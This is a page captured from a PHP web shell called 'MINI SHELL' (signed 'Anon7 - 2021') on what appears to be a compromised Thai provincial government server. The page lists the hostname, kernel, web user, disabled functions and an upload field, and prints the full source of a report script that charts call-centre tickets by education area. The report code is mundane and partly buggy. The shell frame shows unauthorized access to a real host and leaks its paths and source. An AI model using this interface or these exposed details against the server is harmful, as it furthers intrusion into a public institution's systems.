MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory : /var/www/html/pathumthani_vc/report/
Upload File :
Current File : /var/www/html/pathumthani_vc/report/report_graph_a2.php
<?
#			session_start();
//			error_reporting(0);
include ("../../../config/conndb_obec.inc.php")  ;
include ("graph.inc.php")  ;
include ("./function.php")  ;

$sql = "
SELECT
Count(callcenter.ticket_id) AS count_id,
callcenter.prov_id,
eduarea.secname
FROM
callcenter
Left Join eduarea ON callcenter.prov_id = eduarea.secid
WHERE 
callcenter.chk_confirm='1' 
GROUP BY
callcenter.prov_id
ORDER BY
count_id DESC
";

$res = mysql_query($sql);
while($o = mysql_fetch_array($res)){
    $arr[count($arr)+1][0] = $o['count_id'];
    $arr[count($arr)][1] = $o['prov_id'];
    $arr[count($arr)][2] = $o['secname'];
};

#print_r($arr);

$show_limit = 10; # ตัวแปรควบคุมการแสดงผลของแถวว่าต้องการแสดงกี่แถว

?>
<HTML>
<HEAD>
<TITLE>รายงานแสดงปัญหาจำแนกตาม ส.พ.ท.</TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../style.css" rel=stylesheet type="text/css">
<script src="../../../common/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<script src="../js/daily_popcalendar.js" type="text/javascript" language="javascript"> </script>
<head>
<BODY>

<?

$datalist = $grouplist = "";
$k=0;
for($i=1;$i<=count($arr);$i++){
    $k++;
    if($k>$show_limit) { 
        $val1 += $arr[$i][2];
    } else {
        $datalist .= $arr[$i][0].";";
        $grouplist .= ereg_replace("สำนักงานเขตพื้นที่การศึกษา", "", $arr[$i][2]).";";
    }
}

$datalist .= $val1;
$grouplist .= "รวมรายการอื่นๆ";

$graphurl = $graph_path . "?category=$grouplist&data1=$datalist&outputstyle=&numseries=1&seriesname=&graphtype=pie&graphstyle=srd_sf_011";

?>

<form name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
  <tr>
    <td class="fill_bg_add_new2" style="padding-top:15px"><table width="100%" border=0>
      <tr valign=top>
        <td colspan="2" valign="middle" class="report_graph_header">รายงานแสดงปัญหาจำแนกตาม ส.พ.ท.</td>
        </tr>
      <tr valign=top>
        <td width="480" align="center"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="480" height="240">
            <param name="movie" value="<?=$graphurl?>">
            <param name="quality" value="high">
            <embed src="<?=$graphurl?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="240"> </embed>
          </object>
            <br>
            <table width="150" border="0" cellspacing="0" cellpadding="2">
              <tr>
                <td align="center"><A HREF="<?=$graphurl?>" target=_blank class="menu_inc">แสดงกราฟขนาดใหญ่</A></td>
              </tr>
            </table>
          </td>
        <td>
              <table width="450" bgcolor="#aaaaaa" cellspacing=1 cellpadding=2>
          <tr bgcolor="#6666FF">
            <th width="51" class="report_graph_tb_head">ลำดับ</th>
            <th width="282" bgcolor="#aaaaaa" class="report_graph_tb_head">ส.พ.ท.</th>
            <th width="99" bgcolor="#aaaaaa" class="report_graph_tb_head">จำนวนปัญหา</th>
          </tr>
<?php
/*
echo "<pre>";
print_r($arr);
echo "</pre>";
*/
for($i=1;$i<=count($arr);$i++){
    $bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
    $total += $arr[$i][0];
    if($num<=$show_limit){
?>
          <tr bgcolor="<?=$bg_color;?>">
            <td align=center valign="top"><?=$num;?></td>
            <td align=left valign="top"><a href="report_graph_a6.php?s=<?=$arr[$i][1];?>"><?=$arr[$i][2];?></td>
            <td align=right valign="top"><?=number_format($arr[$i][0]);?></a>&nbsp;&nbsp;
            </td>
          </tr>
<?php
    } else {
        $num--;
        $sum += $arr[$i][0];
    }
} # end for
$num++;
?>
          <tr bgcolor="<?=$bg_color;?>">
            <td align=center valign="top"><?=$num;?></td>
            <td align=left valign="top"><a href="report_graph_a5.php?s=other">รวมรายการอื่นๆ</a></td>
            <td align=right valign="top"><?=number_format($sum);?>&nbsp;&nbsp;
            </td>
          </tr>
          <tr bgcolor="#EEEEEE">
            <td align=center valign="top">&nbsp;</td>
            <td align=left valign="top"><strong><a href="report_graph_a5.php?s=all">รวม</a></strong></td>
            <td align=right valign="top"><strong>
              <?=number_format($total);?>
            </strong>&nbsp;</td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>
<BR>
</form>
</BODY>
</HTML>
Anon7 - 2021